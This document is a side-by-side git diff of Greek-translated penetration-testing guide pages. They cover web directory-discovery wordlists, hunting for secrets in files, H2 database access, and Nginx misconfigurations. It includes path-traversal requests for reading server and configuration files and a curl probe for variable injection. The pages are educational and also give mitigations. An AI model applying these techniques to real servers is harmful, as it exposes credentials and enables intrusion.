* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) * [**Dirsearch** συμπεριλαμβανόμενο λεξικό](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Assetnote wordlists](https://wordlists.assetnote.io) * [Assetnote wordlists](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -295,23 +297,23 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Comments:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **credentials** ή **κρυφή λειτουργικότητα**. * **Comments:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **credentials** ή **κρυφή λειτουργικότητα**.
* Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας. * Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και **να κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
* **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). * **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key. * Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
* **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοδήποτε **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/). * **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/).
### Special findings ### Special findings
**Κατά τη διάρκεια** της **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**. **Ενώ** εκτελείτε το **spidering** και **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
**Ενδιαφέροντα αρχεία** **Interesting files**
* Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία. * Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
* [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md). * [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
* Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν. * Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
* Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά. * Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
* **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** * **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
* Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. * Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να βρείτε αν είναι ευάλωτα.
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)). * **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
@ -341,13 +343,13 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
### Web Vulnerabilities Checking ### Web Vulnerabilities Checking
Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ: Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %} {% endcontent-ref %}
Βρείτε περισσότερες πληροφορίες σχετικά με τις web ευπάθειες στο: Βρείτε περισσότερες πληροφορίες σχετικά με τις web vulns στο:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -357,11 +359,13 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_). #### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %} **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Automatic Commands ### HackTricks Automatic Commands
``` ```

View file

@ -15,11 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Access ## Access
Μπορείτε να υποδείξετε ένα **ανύπαρκτο όνομα βάσης δεδομένων** προκειμένου να **δημιουργήσετε μια νέα βάση δεδομένων χωρίς έγκυρα διαπιστευτήρια** (**μη αυθεντικοποιημένος**): Μπορείτε να υποδείξετε ένα **ανύπαρκτο όνομα βάσης δεδομένων** προκειμένου να **δημιουργήσετε μια νέα βάση δεδομένων χωρίς έγκυρα διαπιστευτήρια** (**μη αυθεντικοποιημένο**):
![](<../../.gitbook/assets/image (131).png>) ![](<../../.gitbook/assets/image (131).png>)
@ -46,6 +50,10 @@ _**Trick from box Hawk of HTB.**_
}, },
[...] [...]
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & διείσδυση**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a> ## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
Όταν ρυθμίζετε τον διακομιστή Nginx, η **κατεύθυνση root** παίζει κρίσιμο ρόλο καθορίζοντας τον βασικό κατάλογο από τον οποίο εξυπηρετούνται τα αρχεία. Σκεφτείτε το παρακάτω παράδειγμα: When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
```bash ```bash
server { server {
root /etc/nginx; root /etc/nginx;
@ -34,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
} }
} }
``` ```
Σε αυτή τη διαμόρφωση, το `/etc/nginx` έχει οριστεί ως ο ριζικός κατάλογος. Αυτή η ρύθμιση επιτρέπει την πρόσβαση σε αρχεία εντός του καθορισμένου ριζικού καταλόγου, όπως το `/hello.txt`. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι μόνο μια συγκεκριμένη τοποθεσία (`/hello.txt`) έχει οριστεί. Δεν υπάρχει διαμόρφωση για τη ριζική τοποθεσία (`location / {...}`). Αυτή η παράλειψη σημαίνει ότι η οδηγία ριζικού ισχύει παγκοσμίως, επιτρέποντας τα αιτήματα για τη ριζική διαδρομή `/` να έχουν πρόσβαση σε αρχεία κάτω από το `/etc/nginx`. Σε αυτή τη διαμόρφωση, το `/etc/nginx` έχει οριστεί ως ο ριζικός κατάλογος. Αυτή η ρύθμιση επιτρέπει την πρόσβαση σε αρχεία εντός του καθορισμένου ριζικού καταλόγου, όπως το `/hello.txt`. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι μόνο μια συγκεκριμένη τοποθεσία (`/hello.txt`) έχει οριστεί. Δεν υπάρχει διαμόρφωση για τη ριζική τοποθεσία (`location / {...}`). Αυτή η παράλειψη σημαίνει ότι η οδηγία ρίζας ισχύει παγκοσμίως, επιτρέποντας τα αιτήματα για τη ριζική διαδρομή `/` να έχουν πρόσβαση σε αρχεία κάτω από το `/etc/nginx`.
Μια κρίσιμη σκέψη ασφαλείας προκύπτει από αυτή τη διαμόρφωση. Ένα απλό αίτημα `GET`, όπως το `GET /nginx.conf`, θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες παρέχοντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο `/etc/nginx/nginx.conf`. Η ρύθμιση της ρίζας σε έναν λιγότερο ευαίσθητο κατάλογο, όπως το `/etc`, θα μπορούσε να μετριάσει αυτόν τον κίνδυνο, ωστόσο μπορεί να επιτρέπει ακόμα μη προγραμματισμένη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, αρχείων καταγραφής πρόσβασης και ακόμη και κωδικών πρόσβασης που χρησιμοποιούνται για την HTTP basic authentication. Μια κρίσιμη σκέψη ασφαλείας προκύπτει από αυτή τη διαμόρφωση. Ένα απλό αίτημα `GET`, όπως το `GET /nginx.conf`, θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες παρέχοντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο `/etc/nginx/nginx.conf`. Η ρύθμιση της ρίζας σε έναν λιγότερο ευαίσθητο κατάλογο, όπως το `/etc`, θα μπορούσε να μετριάσει αυτόν τον κίνδυνο, ωστόσο μπορεί να επιτρέπει ακόμα μη προγραμματισμένη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, αρχείων καταγραφής πρόσβασης και ακόμη και κωδικών πρόσβασης που χρησιμοποιούνται για την HTTP βασική αυθεντικοποίηση.
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a> ## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
@ -46,7 +48,7 @@ location /imgs {
alias /path/images/; alias /path/images/;
} }
``` ```
Αυτή η διαμόρφωση είναι επιρρεπής σε επιθέσεις LFI λόγω της ερμηνείας των αιτημάτων από τον διακομιστή όπως το `/imgs../flag.txt` ως μια προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, επιλύοντας αποτελεσματικά σε `/path/images/../flag.txt`. Αυτή η αδυναμία επιτρέπει στους επιτιθέμενους να ανακτούν αρχεία από το σύστημα αρχείων του διακομιστή που δεν θα έπρεπε να είναι προσβάσιμα μέσω του ιστού. Αυτή η διαμόρφωση είναι επιρρεπής σε επιθέσεις LFI λόγω της ερμηνείας των αιτημάτων από τον διακομιστή όπως το `/imgs../flag.txt` ως μια προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, επιλύοντας αποτελεσματικά σε `/path/images/../flag.txt`. Αυτή η αδυναμία επιτρέπει στους επιτιθέμενους να ανακτούν αρχεία από το σύστημα αρχείων του διακομιστή που δεν θα έπρεπε να είναι προσβάσιμα μέσω του διαδικτύου.
Για να μετριαστεί αυτή η ευπάθεια, η διαμόρφωση θα πρέπει να προσαρμοστεί σε: Για να μετριαστεί αυτή η ευπάθεια, η διαμόρφωση θα πρέπει να προσαρμοστεί σε:
``` ```
@ -117,7 +119,7 @@ Detectify: clrf
* `https://example.com/%20X` - Οποιοσδήποτε κωδικός HTTP * `https://example.com/%20X` - Οποιοσδήποτε κωδικός HTTP
* `https://example.com/%20H` - 400 Bad Request * `https://example.com/%20H` - 400 Bad Request
Εάν είναι ευάλωτο, το πρώτο θα επιστρέψει καθώς το "X" είναι οποιαδήποτε μέθοδος HTTP και το δεύτερο θα επιστρέψει ένα σφάλμα καθώς το H δεν είναι έγκυρη μέθοδος. Έτσι, ο διακομιστής θα λάβει κάτι σαν: `GET / H HTTP/1.1` και αυτό θα προκαλέσει το σφάλμα. Αν είναι ευάλωτο, το πρώτο θα επιστρέψει καθώς το "X" είναι οποιαδήποτε μέθοδος HTTP και το δεύτερο θα επιστρέψει ένα σφάλμα καθώς το H δεν είναι έγκυρη μέθοδος. Έτσι, ο διακομιστής θα λάβει κάτι σαν: `GET / H HTTP/1.1` και αυτό θα προκαλέσει το σφάλμα.
Άλλα παραδείγματα ανίχνευσης θα ήταν: Άλλα παραδείγματα ανίχνευσης θα ήταν:
@ -126,7 +128,7 @@ Detectify: clrf
Ορισμένες ευάλωτες ρυθμίσεις που βρέθηκαν σε αυτή την ομιλία ήταν: Ορισμένες ευάλωτες ρυθμίσεις που βρέθηκαν σε αυτή την ομιλία ήταν:
* Σημειώστε πώς **`$uri`** έχει οριστεί όπως είναι στην τελική διεύθυνση URL * Σημειώστε πώς **`$uri`** είναι ρυθμισμένο όπως είναι στην τελική διεύθυνση URL
``` ```
location ^~ /lite/api/ { location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args; proxy_pass http://lite-backend$uri$is_args$args;
@ -144,11 +146,11 @@ location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri; proxy_pass https://company-bucket.s3.amazonaws.com$uri;
} }
``` ```
### Any variable ### Οποιαδήποτε μεταβλητή
Ανακαλύφθηκε ότι τα **δεδομένα που παρέχονται από τον χρήστη** μπορεί να αντιμετωπίζονται ως **μεταβλητή Nginx** υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει κάπως ασαφής, ωστόσο δεν είναι σπάνια ούτε απλή η επαλήθευσή της. Αυτή η ανωμαλία επισημάνθηκε σε μια αναφορά ασφαλείας στο HackerOne, η οποία μπορεί να προβληθεί [εδώ](https://hackerone.com/reports/370094). Περεταίρω έρευνα στο μήνυμα σφάλματος οδήγησε στην αναγνώριση της εμφάνισής του εντός του [SSI filter module του κώδικα Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), προσδιορίζοντας τις Server Side Includes (SSI) ως την κύρια αιτία. Ανακαλύφθηκε ότι τα **δεδομένα που παρέχονται από τον χρήστη** μπορεί να αντιμετωπίζονται ως **μεταβλητή Nginx** υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει κάπως ασαφής, ωστόσο δεν είναι σπάνια ούτε απλή η επαλήθευσή της. Αυτή η ανωμαλία επισημάνθηκε σε μια αναφορά ασφαλείας στο HackerOne, την οποία μπορείτε να δείτε [εδώ](https://hackerone.com/reports/370094). Περεταίρω έρευνα στο μήνυμα σφάλματος οδήγησε στην αναγνώριση της εμφάνισής του μέσα στον [μηχανισμό φίλτρου SSI του κώδικα Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), προσδιορίζοντας τις Server Side Includes (SSI) ως την κύρια αιτία.
Για να **ανιχνευθεί αυτή η κακή ρύθμιση**, μπορεί να εκτελεστεί η παρακάτω εντολή, η οποία περιλαμβάνει την ρύθμιση ενός referer header για τη δοκιμή εκτύπωσης μεταβλητών: Για να **ανιχνεύσετε αυτή τη λανθασμένη ρύθμιση**, μπορεί να εκτελεστεί η παρακάτω εντολή, η οποία περιλαμβάνει την ρύθμιση ενός referer header για τη δοκιμή εκτύπωσης μεταβλητών:
```bash ```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar $ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
``` ```
@ -179,9 +181,9 @@ proxy_hide_header Secret-Header;
## merge\_slashes set to off ## merge\_slashes set to off
Από προεπιλογή, η **`merge_slashes` οδηγία** του Nginx είναι ρυθμισμένη σε **`on`**, η οποία συμπιέζει πολλαπλούς προοδευτικούς χαρακτήρες σε μια μόνο κάθετο. Αυτή η δυνατότητα, ενώ απλοποιεί την επεξεργασία URL, μπορεί ακούσια να αποκρύψει ευπάθειες σε εφαρμογές πίσω από το Nginx, ιδιαίτερα αυτές που είναι επιρρεπείς σε επιθέσεις τοπικής συμπερίληψης αρχείων (LFI). Οι ειδικοί ασφαλείας **Danny Robinson και Rotem Bar** έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή τη συμπεριφορά προεπιλογής, ειδικά όταν το Nginx λειτουργεί ως αντίστροφος διακομιστής. Από προεπιλογή, η **`merge_slashes` οδηγία** του Nginx είναι ρυθμισμένη σε **`on`**, η οποία συμπιέζει πολλαπλούς προοδευτικούς χαρακτήρες (slashes) σε μια URL σε έναν μόνο χαρακτήρα. Αυτή η δυνατότητα, ενώ απλοποιεί την επεξεργασία URL, μπορεί ακούσια να αποκρύψει ευπάθειες σε εφαρμογές πίσω από το Nginx, ιδιαίτερα αυτές που είναι επιρρεπείς σε επιθέσεις τοπικής συμπερίληψης αρχείων (LFI). Οι ειδικοί ασφαλείας **Danny Robinson και Rotem Bar** έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή τη συμπεριφορά προεπιλογής, ειδικά όταν το Nginx λειτουργεί ως αντίστροφος διακομιστής (reverse-proxy).
Για να μετριαστούν αυτοί οι κίνδυνοι, συνιστάται να **απενεργοποιήσετε την οδηγία `merge_slashes`** για εφαρμογές που είναι ευάλωτες σε αυτές τις ευπάθειες. Αυτό διασφαλίζει ότι το Nginx προωθεί τις αιτήσεις στην εφαρμογή χωρίς να αλλάζει τη δομή του URL, αποφεύγοντας έτσι την απόκρυψη οποιωνδήποτε υποκείμενων ζητημάτων ασφαλείας. Για να μετριαστούν αυτοί οι κίνδυνοι, συνιστάται να **απενεργοποιήσετε την οδηγία `merge_slashes`** για εφαρμογές που είναι ευάλωτες σε αυτές τις ευπάθειες. Αυτό διασφαλίζει ότι το Nginx προωθεί τις αιτήσεις στην εφαρμογή χωρίς να αλλάζει τη δομή της URL, αποφεύγοντας έτσι την απόκρυψη οποιωνδήποτε υποκείμενων ζητημάτων ασφαλείας.
Για περισσότερες πληροφορίες, ελέγξτε [Danny Robinson και Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). Για περισσότερες πληροφορίες, ελέγξτε [Danny Robinson και Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
@ -222,7 +224,7 @@ return 200 "Hello. It is private area: $mappocallow";
### **Ευπάθεια DNS Spoofing** ### **Ευπάθεια DNS Spoofing**
